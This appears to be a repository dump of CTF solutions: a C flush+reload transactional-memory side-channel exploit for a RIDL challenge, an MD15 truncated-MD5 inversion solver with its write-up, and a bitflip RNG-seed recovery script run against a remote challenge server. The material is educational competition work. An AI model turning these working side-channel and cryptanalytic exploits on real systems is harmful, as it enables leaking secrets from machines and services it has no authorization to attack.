| try: 133 | flag = cipher.decrypt(enc).decode("ascii") 134 | log.success(f"Flag is {flag}") 135 | except UnicodeDecodeError: 136 | pass 137 | 138 | 139 | if __name__ == "__main__": 140 | main() 141 | -------------------------------------------------------------------------------- /gctf19/RIDL/solve.c: -------------------------------------------------------------------------------- 1 | /* Authors: @oranav, @yuvalof */ 2 | #include 3 | #include 4 | 5 | typedef unsigned long long int uint64_t; 6 | 7 | int recover(void *probe, int threshold); 8 | void myputc(char c); 9 | void mfence(); 10 | void flush(void *p); 11 | void maccess(void *p); 12 | inline unsigned long flush_reload(const char *adrs); 13 | size_t detect_flush_reload_threshold(void *probe); 14 | void writeint(unsigned int); 15 | 16 | 17 | #define BUCKET_SIZE 4096 18 | #define BUCKETS 16 19 | #define BUFFER_SIZE (BUCKET_SIZE * BUCKETS) 20 | #define FLAG_SIZE 24 21 | 22 | void _start(void *probe) 23 | { 24 | register unsigned char bits = 24; 25 | register uint64_t mask = (1 << (bits + 4)) - 1; 26 | register uint64_t known = 'FTC'; 27 | register uint64_t addr = 0x10; 28 | int recovered = bits / 8; 29 | 30 | for (int i = 0; i < BUFFER_SIZE; i++) { 31 | ((char *)probe)[i] = 0; 32 | } 33 | 34 | int threshold = detect_flush_reload_threshold(probe); 35 | /* Hard-coded value works better. */ 36 | threshold = 100; 37 | writeint(threshold); 38 | 39 | /* Read nibble by nibble. */ 40 | while (recovered < FLAG_SIZE * 8) { 41 | uint64_t value; 42 | 43 | if (_xbegin() == _XBEGIN_STARTED) 44 | { 45 | value = *(uint64_t *)addr; 46 | value &= mask; 47 | value -= known; 48 | value = (value >> bits) | (value << (64 - bits)); 49 | maccess(probe + BUCKET_SIZE * value); 50 | _xend(); 51 | } 52 | else 53 | { 54 | int nibble = recover(probe, threshold); 55 | if (nibble < 0) 56 | continue; 57 | known |= (nibble << bits); 58 | if (bits == 24) { 59 | mask = (mask << 4) | 0xf; 60 | bits += 4; 61 | } else { 62 | myputc(known >> 24); 63 | known >>= 8; 64 | mask >>= 4; 65 | addr++; 66 | recovered++; 67 | bits = 24; 68 | } 69 | } 70 | } 71 | } 72 | 73 | int recover(void *probe, int threshold) 74 | { 75 | int winner = -1; 76 | for (int i = 0; i < BUCKETS; i++) { 77 | unsigned long t = flush_reload((char *)probe + BUCKET_SIZE * i); 78 | if (t < threshold) { 79 | /* If there are two winners, try again. */ 80 | if (winner >= 0) 81 | return -1; 82 | winner = i; 83 | } 84 | } 85 | return winner; 86 | } 87 | 88 | void myputc(char c) 89 | { 90 | int ret = 0; 91 | volatile char buf[] = { c }; 92 | asm volatile( 93 | "movq %1, %%rsi \n\t" 94 | "movq %2, %%rdx \n\t" 95 | "movq $1, %%rax \n\t" 96 | "movq $1, %%rdi \n\t" 97 | "syscall\n\t" 98 | : "=g"(ret) 99 | : "g"(buf), "g" (1) 100 | : "rsi", "rdx", "rax", "rdi" 101 | ); 102 | } 103 | 104 | void writeint(unsigned int x) 105 | { 106 | myputc(x&0xff); 107 | myputc((x>>8)&0xff); 108 | myputc((x>>16)&0xff); 109 | myputc((x>>24)&0xff); 110 | } 111 | 112 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); } 113 | 114 | // --------------------------------------------------------------------------- 115 | void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); } 116 | 117 | // --------------------------------------------------------------------------- 118 | void mfence() { asm volatile("mfence"); } 119 | 120 | uint64_t rdtsc() { 121 | unsigned long long a, d; 122 | asm volatile("mfence"); 123 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 124 | a = (d << 32) | a; 125 | asm volatile("mfence"); 126 | return a; 127 | } 128 | 129 | __attribute__((always_inline)) 130 | inline unsigned long flush_reload(const char *adrs) 131 | { 132 | volatile unsigned long time; 133 | 134 | asm __volatile__ ( 135 | "mfence \n" 136 | "lfence \n" 137 | "rdtsc \n" 138 | "lfence \n" 139 | "movl %%eax, %%esi \n" 140 | "movl (%1), %%eax \n" 141 | "lfence \n" 142 | "rdtsc \n" 143 | "subl %%esi, %%eax \n" 144 | "clflush 0(%1) \n" 145 | : "=a" (time) 146 | : "c" (adrs) 147 | : "%esi", "%edx"); 148 | 149 | return time; 150 | } 151 | 152 | // --------------------------------------------------------------------------- 153 | int flush_reload_t(void *ptr) { 154 | uint64_t start = 0, end = 0; 155 | 156 | start = rdtsc(); 157 | maccess(ptr); 158 | end = rdtsc(); 159 | 160 | mfence(); 161 | 162 | flush(ptr); 163 | 164 | return (int)(end - start); 165 | } 166 | 167 | // --------------------------------------------------------------------------- 168 | int reload_t(void *ptr) { 169 | uint64_t start = 0, end = 0; 170 | 171 | start = rdtsc(); 172 | maccess(ptr); 173 | end = rdtsc(); 174 | 175 | mfence(); 176 | 177 | return (int)(end - start); 178 | } 179 | 180 | 181 | // --------------------------------------------------------------------------- 182 | size_t detect_flush_reload_threshold(void *probe) { 183 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 184 | size_t *ptr = probe + BUCKET_SIZE * BUCKETS; 185 | 186 | maccess(ptr); 187 | for (i = 0; i < count; i++) { 188 | reload_time += reload_t(ptr); 189 | } 190 | for (i = 0; i < count; i++) { 191 | flush_reload_time += flush_reload_t(ptr); 192 | } 193 | reload_time /= count; 194 | flush_reload_time /= count; 195 | 196 | writeint(reload_time); 197 | writeint(flush_reload_time); 198 | 199 | return (flush_reload_time + reload_time * 5) / 6; 200 | } 201 | -------------------------------------------------------------------------------- /36c3/md15/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright © 2020 Oranav 6 | # 7 | # Distributed under terms of the GPLv3 license. 8 | # Based on: https://gist.github.com/HoLyVieR/11e464a91b290e33b38e 9 | import struct 10 | 11 | DIGEST_SIZE = 16 12 | BLOCK_SIZE = 64 13 | 14 | # Constants for compression function. 15 | S11 = 7 16 | S12 = 12 17 | S13 = 17 18 | S14 = 22 19 | 20 | PADDING = b"\x80" + 63*b"\0" 21 | 22 | 23 | def F(x, y, z): return (((x) & (y)) | ((~x) & (z))) 24 | 25 | 26 | def ROTATE_LEFT(x, n): 27 | x = x & 0xffffffff # make shift unsigned 28 | return (((x) << (n)) | ((x) >> (32-(n)))) & 0xffffffff 29 | 30 | 31 | def ROTATE_RIGHT(x, n): 32 | return ROTATE_LEFT(x, 32-n) 33 | 34 | 35 | def FF(a, b, c, d, x, s, ac): 36 | a = a + F ((b), (c), (d)) + (x) + (ac) 37 | a = ROTATE_LEFT ((a), (s)) 38 | a = a + b 39 | return a # must assign this to a 40 | 41 | 42 | def InvFF(res, b, c, d, x, s, ac): 43 | # This is just FF in reverese, given that only a is unknown. 44 | res = res - b 45 | res = ROTATE_RIGHT ((res), (s)) 46 | res = res - F ((b), (c), (d)) - (x) - (ac) 47 | return res & 0xffffffff 48 | 49 | 50 | def PreimageFF(res, a, b, c, d, s, ac): 51 | # This is FF for when the result is known but the input block is unknown. 52 | res = res - b 53 | res = ROTATE_RIGHT ((res), (s)) 54 | res = res - F ((b), (c), (d)) - (ac) 55 | return (res - a) & 0xffffffff, a 56 | 57 | 58 | def padding(msg_bits): 59 | """padding(msg_bits) - Generates the padding that should be 60 | appended to the end of a message of the given size to reach 61 | a multiple of the block size.""" 62 | 63 | index = int((msg_bits >> 3) & 0x3f) 64 | if index < 56: 65 | padLen = (56 - index) 66 | else: 67 | padLen = (120 - index) 68 | 69 | # (the last 8 bytes store the number of bits in the message) 70 | return PADDING[:padLen] + _encode((msg_bits & 0xffffffff, msg_bits>>32), 8) 71 | 72 | 73 | def md15_compress(msg): 74 | state = (0x67452301, 75 | 0xefcdab89, 76 | 0x98badcfe, 77 | 0x10325476,) 78 | a, b, c, d = state 79 | block = msg + padding(len(msg) * 8) 80 | x = _decode(block, BLOCK_SIZE) 81 | 82 | # Round 83 | a = FF (a, b, c, d, x[ 0], S11, 0xd76aa478) # 1 84 | d = FF (d, a, b, c, x[ 1], S12, 0xe8c7b756) # 2 85 | c = FF (c, d, a, b, x[ 2], S13, 0x242070db) # 3 86 | b = FF (b, c, d, a, x[ 3], S14, 0xc1bdceee) # 4 87 | a = FF (a, b, c, d, x[ 4], S11, 0xf57c0faf) # 5 88 | d = FF (d, a, b, c, x[ 5], S12, 0x4787c62a) # 6 89 | c = FF (c, d, a, b, x[ 6], S13, 0xa8304613) # 7 90 | b = FF (b, c, d, a, x[ 7], S14, 0xfd469501) # 8 91 | a = FF (a, b, c, d, x[ 8], S11, 0x698098d8) # 9 92 | d = FF (d, a, b, c, x[ 9], S12, 0x8b44f7af) # 10 93 | c = FF (c, d, a, b, x[10], S13, 0xffff5bb1) # 11 94 | b = FF (b, c, d, a, x[11], S14, 0x895cd7be) # 12 95 | 96 | state = (0xffffffff & (state[0] + a), 97 | 0xffffffff & (state[1] + b), 98 | 0xffffffff & (state[2] + c), 99 | 0xffffffff & (state[3] + d),) 100 | return _encode(state, DIGEST_SIZE) 101 | 102 | 103 | def md15_decompress(state): 104 | msg = b'A'*16 105 | block = msg + padding(len(msg) * 8) 106 | a, b, c, d = _decode(state, DIGEST_SIZE) 107 | x = _decode(block, BLOCK_SIZE) 108 | # x[0:4] are unknowns so we must not use them 109 | x[0:4] = [None] * 4 110 | initial_state = (0x67452301, 111 | 0xefcdab89, 112 | 0x98badcfe, 113 | 0x10325476,) 114 | 115 | # reverse final state calculation 116 | a = (a - initial_state[0]) & 0xffffffff 117 | b = (b - initial_state[1]) & 0xffffffff 118 | c = (c - initial_state[2]) & 0xffffffff 119 | d = (d - initial_state[3]) & 0xffffffff 120 | 121 | # reverse rounds 12...5 122 | b = InvFF (b, c, d, a, x[11], S14, 0x895cd7be) # 12 123 | c = InvFF (c, d, a, b, x[10], S13, 0xffff5bb1) # 11 124 | d = InvFF (d, a, b, c, x[ 9], S12, 0x8b44f7af) # 10 125 | a = InvFF (a, b, c, d, x[ 8], S11, 0x698098d8) # 9 126 | b = InvFF (b, c, d, a, x[ 7], S14, 0xfd469501) # 8 127 | c = InvFF (c, d, a, b, x[ 6], S13, 0xa8304613) # 7 128 | d = InvFF (d, a, b, c, x[ 5], S12, 0x4787c62a) # 6 129 | a = InvFF (a, b, c, d, x[ 4], S11, 0xf57c0faf) # 5 130 | # reverse rounds 4...1 and restore block data 131 | x[3], b = PreimageFF (b, initial_state[1], c, d, a, S14, 0xc1bdceee) # 4 132 | x[2], c = PreimageFF (c, initial_state[2], d, a, b, S13, 0x242070db) # 3 133 | x[1], d = PreimageFF (d, initial_state[3], a, b, c, S12, 0xe8c7b756) # 2 134 | x[0], a = PreimageFF (a, initial_state[0], b, c, d, S11, 0xd76aa478) # 1 135 | 136 | block = _encode(x, BLOCK_SIZE) 137 | return block[:16] 138 | 139 | 140 | def _encode(input, len): 141 | k = len >> 2 142 | res = struct.pack(*(("%iI" % k,) + tuple(input[:k]))) 143 | return res 144 | 145 | 146 | def _decode(input, len): 147 | k = len >> 2 148 | res = struct.unpack("%iI" % k, input[:len]) 149 | return list(res) 150 | 151 | 152 | def main(): 153 | with open('md15', 'rb') as f: 154 | f.seek(0xb007) 155 | digest = f.read(16) 156 | data = md15_decompress(digest) 157 | assert md15_compress(data) == digest 158 | text = bytes(x ^ ord('h') for x in data) 159 | print('hxp{%s}' % text.decode('ascii')) 160 | 161 | 162 | if __name__=="__main__": 163 | main() 164 | -------------------------------------------------------------------------------- /36c3/md15/README.md: -------------------------------------------------------------------------------- 1 | # MD15 writeup 2 | 3 | _Difficulty estimate: medium_ 4 | --hxp, 2019 5 | 6 | Written by @oranav on behalf of @pastenctf. 7 | 8 | If you just want the solution, [skip to attempt #4](#attempt-4-reverse-every-byte-in-the-binary). 9 | 10 | ## Overview 11 | 12 | We were presented with an abstract for a paper: 13 | ![MD15 paper](https://2019.ctf.link/assets/files/md15-8ea9df9e3f601d35.png) 14 | 15 | Obviously, we should implement the mentioned attack, huh? 16 | 17 | We were also presented with a binary though. Let me save you the hassle of reverse engineering: 18 | 19 | 1. It's taking an input through `argv[1]`. 20 | 2. Make sure its format is `hxp{XXXXXXXXXXXXXXXX}`, where the `X`s are 16 printable characters (`0x20 <= X < 0x7F`). 21 | 3. Take the `X`s (a total of 16 bytes), and let's call them `buf`: 22 | 1. Make sure `MD5(buf ^ "hhhhhhhhhhhhhhhh") = O_h` where `O_h` is given. 23 | 2. Make sure `MD5(buf ^ "xxxxxxxxxxxxxxxx") = O_x` where `O_x` is given. 24 | 3. Make sure `MD5(buf ^ "pppppppppppppppp") = O_p` where `O_p` is given. 25 | 4. Print ":)" if it all checks out, otherwise ":(". 26 | 27 | So we should find such `buf` that satisfies (3). Should be easy given the paper, right? Only if this was the intended solution, it should have been in the "zahjebischte" category. To clarify: there is no known practical preimage attack on MD5, and if somebody found one during a CTF, it would be very stupid to waste it ;) 28 | 29 | ## What we've been through 30 | 31 | ### Attempt #1: find a bug in the MD5 library 32 | 33 | The code appears to be using [an SSE implementation found in a library called simd_md5](https://github.com/krisprice/simd_md5/blob/master/simd_md5/md5_sse.c), which is not very popular (1 watch, 8 stars, 5 forks). So obviously our first attempt was to find a bug in the library. 34 | 35 | It appears that the library supports digesting 4 buffers in parallel (hence SSE), however the code passes the identical input to all the 4 buffers. There's a bug with the last 2 outputs, but the code is taking the first one, which seems to be behaving correctly. 36 | 37 | To make sure, we tested some test vectors and made sure the output is correct with this library. I even compiled a program which tested 1 billion random inputs against OpenSSL's implementation, and they all checked out. We also debugged the binary itself and made sure the outputs from the MD5 function are as expected. 38 | 39 | Even if we did find such a bug, it's highly unlikely that it'll let us mount a preimage attack. We figured that it might be that the author deliberately chose the buffer to be the very one that fails the implementation; however it's very unlikely that it'll be printable (xor 'h', 'x' and 'p'). Even so, we did not find such a bug. So we ditched this train of thought. 40 | 41 | ### Attempt #2: take a closer look at the paper 42 | 43 | We were pretty clueless at this point, so we looked everywhere. The paper mentions that their algorithm should run in 44 | $$ 45 | 2^{128/(n-\pi/4)^2} 46 | $$ 47 | Since `n=3`, we get that the exponent is roughly equivalent to 26. We tried to guess what would give us 26 degrees of freedom (spoiler: nothing), and maybe brute force such a space. But that's no reversing challenge, so we didn't hope for much. 48 | 49 | ### Attempt #3: SSE returns 50 | 51 | Then we figured out: what if this was run on a processor which does not support SSE? Sure, it should receive a SIGILL signal, but maybe something interesting happens? 52 | 53 | We tried to simulate such a situation, only to find out that SSE was introduced in Pentium III, while amd64 was introduced in Pentium 4; meaning there is no (sane) processor supporting the amd64 architecture but not SSE. 54 | 55 | ### Attempt #4: reverse every byte in the binary! 56 | 57 | At this point we were seriously frustrated. Some of us claimed that the challenge is unsolvable. 58 | 59 | Then hxp released a hint: _Remember, md15 is a reversing challenge. hxp recommends you stop reading crypto papers._ 60 | 61 | It must be something that we did not reverse engineer correctly then. We declared that there should not be a single byte in the binary which was not reverse engineered! 62 | 63 | My friend [Matan](https://ctftime.org/user/4749) then discovered a very strange NOP, which IDA willingly classifies as an "alignment" directive, and Ghidra just doesn't decode on its own: 64 | 65 | ```assembly 66 | 00101405 0f 1f 80 NOP dword ptr [0x92f3e9 + RAX] 67 | e9 f3 92 00 68 | ``` 69 | 70 | Hmm... x86 has variable length instructions. Maybe in a different alignment it'll make more sense? 71 | 72 | ```assembly 73 | 00101408 e9 f3 92 JMP LAB_0010a700 74 | 00 00 75 | ``` 76 | 77 | Aha! but `0xA700` is outside our text segment according to IDA/Ghidra... Or is it? 78 | 79 | ELF files have sections and segments. Sections describe what the bytes inside the binary mean. Segments describe what the loader should load into memory while loading the ELF. IDA/Ghidra use segments to load and display the ELF file which is being disassembled. However, the loader has a granularity of page size (0x1000 bytes); hence when a segment does not nicely end at the end of a page, the rest is also `mmap()`ed and, in the case of the TEXT segment, is also executable. 80 | 81 | Our text segment is `0xFD96` bytes long; meaning the rest `0x26A` bytes are also mapped and executable. That's exactly what lies in `0xA700`. In addition, the `__libc_csu_init` function (which runs before `main`) appears to be patched -- instead of jumping into the `frame_dummy` function, it jumps 8 bytes ahead, which is conveniently the dreaded `JMP`. 82 | 83 | By reverse engineering the newly discovered init code, it appears to be checking some additional conditions on the input (it has to satisfy some LFSR condition for instance). If it passes the checks, the MD5 transform function **is patched in memory** and modified in such way that only the first 12 operations of the first round are run: as soon as the 12th operation is completed, the stack frame pointer is shifted away such that all operations are done on unused stack variables. Right before returning the stack frame is shifted back and the original variables are returned, as they were left by the 12th operation. 84 | 85 | The reason we did not see this patching happening is plainly because we haven't tried enough inputs **to the binary itself** to trigger the right conditions. 86 | 87 | A single round of MD5 is reversible. Let me explain why. 88 | 89 | The `transform` function is called only once (since the input being digested is only 16 bytes / 4 words long). There is a padding of 12 words which is completely known, making the digest block being passed into `transform` a total of 16 words: 4 unknown and 12 known. The first (and only) round operates on the words one by one, in order; we know the final state, and we do know words 4-15, so we can reverse the last 12 operations quite easily. Coming next are the first 4 operations which operate on the (unknown) words 0-3; however, we do know the initial state here, so we can just write the equations a bit differently and solve for `words[0:3]` given the initial and final state. `words[0:3]` are exactly what we're looking for. 90 | 91 | A Python solution is attached to this repository. 92 | 93 | ## Closing words 94 | 95 | This challenge proved to be much more difficult that initial thought. It used not-so-uncommon tricks, but since we're used to believe everything IDA spits out, we missed the key part of this challenge for the majority of the CTF, wasting many hours. Always doubt what you see. 96 | -------------------------------------------------------------------------------- /dragonctf20/bitflip/solve3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # vim:fenc=utf-8 4 | # 5 | # Copyright: Oran Avraham 6 | import math 7 | import os 8 | import random 9 | import struct 10 | from hashlib import sha256 11 | from base64 import b64encode, b64decode 12 | from subprocess import check_output 13 | from io import BytesIO 14 | 15 | import plyvel 16 | from Crypto.Util.number import long_to_bytes, bytes_to_long 17 | from Crypto.Cipher import AES 18 | from pwn import remote, log 19 | from gmpy2 import is_prime 20 | 21 | from util import DiffieHellmanStrong, Rng 22 | 23 | 24 | class Solver: 25 | def __init__(self): 26 | # self.r = remote("127.0.0.1", 1337) 27 | self.r = remote("bitflip3.hackable.software", 1337) 28 | args = self.r.recvline().decode().split(": ")[1].strip().split() 29 | assert len(args) == 3 30 | assert args[0] == "hashcash" 31 | p = log.progress("Calculating proof of work") 32 | self.r.send(check_output(args)) 33 | p.success() 34 | 35 | def get_iterations(self, mask): 36 | self.r.recvuntil(b"bit-flip str:\n") 37 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 38 | self.r.recvuntil(b"Generated after ") 39 | return int(self.r.recvuntil(b" iterations", drop=True)) 40 | 41 | def get_invocations(self, mask): 42 | return self.get_iterations(mask) * 2 43 | 44 | def get_data(self, mask): 45 | self.r.recvuntil(b"bit-flip str:\n") 46 | self.r.sendline(b64encode(long_to_bytes(mask, 32))) 47 | self.r.recvline() 48 | iv = b64decode(self.r.recvline()) 49 | enc = b64decode(self.r.recvline()) 50 | return iv, enc 51 | 52 | 53 | class DiskBlockIndex: 54 | BLOCK_HAVE_DATA = 8 55 | BLOCK_HAVE_UNDO = 16 56 | 57 | def __init__(self, value): 58 | self._stream = BytesIO(value) 59 | self._parse() 60 | 61 | def _parse(self): 62 | self.nVersion = self.read_varint() 63 | self.nHeight = self.read_varint() 64 | self.nStatus = self.read_varint() 65 | self.nTx = self.read_varint() 66 | if self.nStatus & (self.BLOCK_HAVE_DATA | self.BLOCK_HAVE_UNDO): 67 | self.nFile = self.read_varint() 68 | if self.nStatus & self.BLOCK_HAVE_DATA: 69 | self.nDataPos = self.read_varint() 70 | if self.nStatus & self.BLOCK_HAVE_UNDO: 71 | self.nUndoPos = self.read_varint() 72 | 73 | self.header = self._stream.read(80) 74 | 75 | def read_varint(self): 76 | n = 0 77 | while True: 78 | x = self._stream.read(1)[0] 79 | n <<= 7 80 | n |= x & 0x7F 81 | if (x & 0x80) == 0: 82 | break 83 | return n 84 | 85 | 86 | def tricky_sha_inputs(): 87 | header_size = 80 88 | db = plyvel.DB(os.path.expanduser("~/.bitcoincash/blocks/index")) 89 | for key, value in db.iterator(prefix=b"b"): 90 | if not key.endswith(b"\0" * 8): 91 | continue 92 | 93 | index = DiskBlockIndex(value) 94 | base = sha256(index.header).digest() 95 | block = key[1:] 96 | assert sha256(base).digest() == block 97 | yield block[::-1].hex(), base 98 | 99 | 100 | def find_tricky_rng_seed(): 101 | # Hand-crafted so you don't have to run Bitcoin Cash before: 102 | return bytes.fromhex( 103 | "693e14ccadf6c831ea694f6d8651d6c912c4377ecc22b2f498d2ee60b66c53bd" 104 | ) 105 | 106 | # Find a seed such that we generate a secret == 0 107 | rng = Rng() 108 | for block, base in tricky_sha_inputs(): 109 | seed = long_to_bytes(bytes_to_long(base) - 2, 32) 110 | rng.set_seed(seed) 111 | 112 | prime = rng.getbits(512) 113 | secret = rng.getbits() 114 | assert secret == 0 115 | 116 | strong_prime = 2 * prime + 1 117 | if prime % 5 == 4 and is_prime(prime) and is_prime(strong_prime): 118 | log.success(f"Seed {seed.hex()} is suitable! (from block {block})") 119 | return seed 120 | raise Exception("Could not find a suitable seed!") 121 | 122 | 123 | def main(): 124 | log.info("Finding a tricky RNG seed value") 125 | tricky = find_tricky_rng_seed() 126 | 127 | solver = Solver() 128 | 129 | # Find a mask that has a long chain of invocations until a prime is found 130 | p = log.progress("Looking for a suitable mask") 131 | while True: 132 | mask = random.randrange(1 << 256) 133 | if (invocations := solver.get_invocations(mask)) >= 256: 134 | break 135 | p.success(f"{hex(mask)} --> {invocations} invocations") 136 | 137 | # Assume LSB is 0... We will fail afterwards if it's wrong 138 | seed = 0 139 | known = [False] * 128 140 | 141 | # Find a sane invocations value 142 | log.info("Lowering invocations") 143 | while invocations > (1 << 16): 144 | bit = int(math.log2(invocations)) 145 | while known[bit]: 146 | bit -= 1 147 | if bit <= 9: 148 | break 149 | 150 | log.info(f"Finding bit {bit}, difficulty {invocations} invocations") 151 | shifted = 1 << bit 152 | if solver.get_invocations(mask ^ shifted) == invocations - shifted: 153 | val = 0 ^ ((mask >> bit) & 1) 154 | # Update parameters -- so we move faster next time :-) 155 | invocations -= shifted 156 | mask ^= shifted 157 | else: 158 | val = 1 ^ ((mask >> bit) & 1) 159 | assert val in (0, 1) 160 | seed |= val << bit 161 | known[bit] = True 162 | log.info(f"Current seed value: {hex(seed)}") 163 | 164 | upper_bit = int(math.log2(invocations)) 165 | 166 | # Initial bit finding: observe the offset in the invocations 167 | log.info("Bit finding") 168 | for bit in range(upper_bit, 0, -1): 169 | if known[bit]: 170 | continue 171 | 172 | log.info(f"Finding bit {bit}, difficulty {invocations} invocations") 173 | shifted = 1 << bit 174 | assert shifted <= invocations 175 | if solver.get_invocations(mask ^ shifted) == invocations - shifted: 176 | val = 0 ^ ((mask >> bit) & 1) 177 | else: 178 | val = 1 ^ ((mask >> bit) & 1) 179 | assert val in (0, 1) 180 | seed |= val << bit 181 | known[bit] = True 182 | log.info(f"Current seed value: {hex(seed)}") 183 | 184 | # Use a seed of format XXXX...XX111 185 | # It's either XXXX...X0111 or XXXX...X1111 186 | # We then toggle a bit flip in the unknown bit and all other bits except the LSB 187 | # The seed becomes either XXXX...X1001 or XXXX...X0001 188 | # In the first case, this means an increment of 2 -- which is observable! 189 | log.info("2^n - 1 attack") 190 | for bit in range(upper_bit + 1, 128): 191 | mask = seed ^ ((1 << bit) - 1) 192 | while (invocations := solver.get_invocations(mask)) < 4: 193 | mask ^= random.randrange(1 << 32) << 128 194 | for i in range(1, bit + 1): 195 | mask ^= 1 << i 196 | val = int(solver.get_invocations(mask) != invocations - 2) 197 | seed |= val << bit 198 | log.info(f"Current seed value: {hex(seed)}") 199 | 200 | # Make Alice generate a secret == 0. 201 | # We've broken Alice's seed, except the LSB. 202 | for lsb in range(2): 203 | iv, enc = solver.get_data(seed ^ bytes_to_long(tricky) ^ lsb) 204 | alice = DiffieHellmanStrong(tricky) 205 | alice.set_other(1337) 206 | cipher = AES.new(long_to_bytes(alice.shared, 16)[:16], AES.MODE_CBC, IV=iv) 207 | try: 208 | flag = cipher.decrypt(enc).decode("ascii") 209 | log.success(f"Flag is {flag}") 210 | except UnicodeDecodeError: 211 | pass 212 | 213 | 214 | if __name__ == "__main__": 215 | main() 216 | --------------------------------------------------------------------------------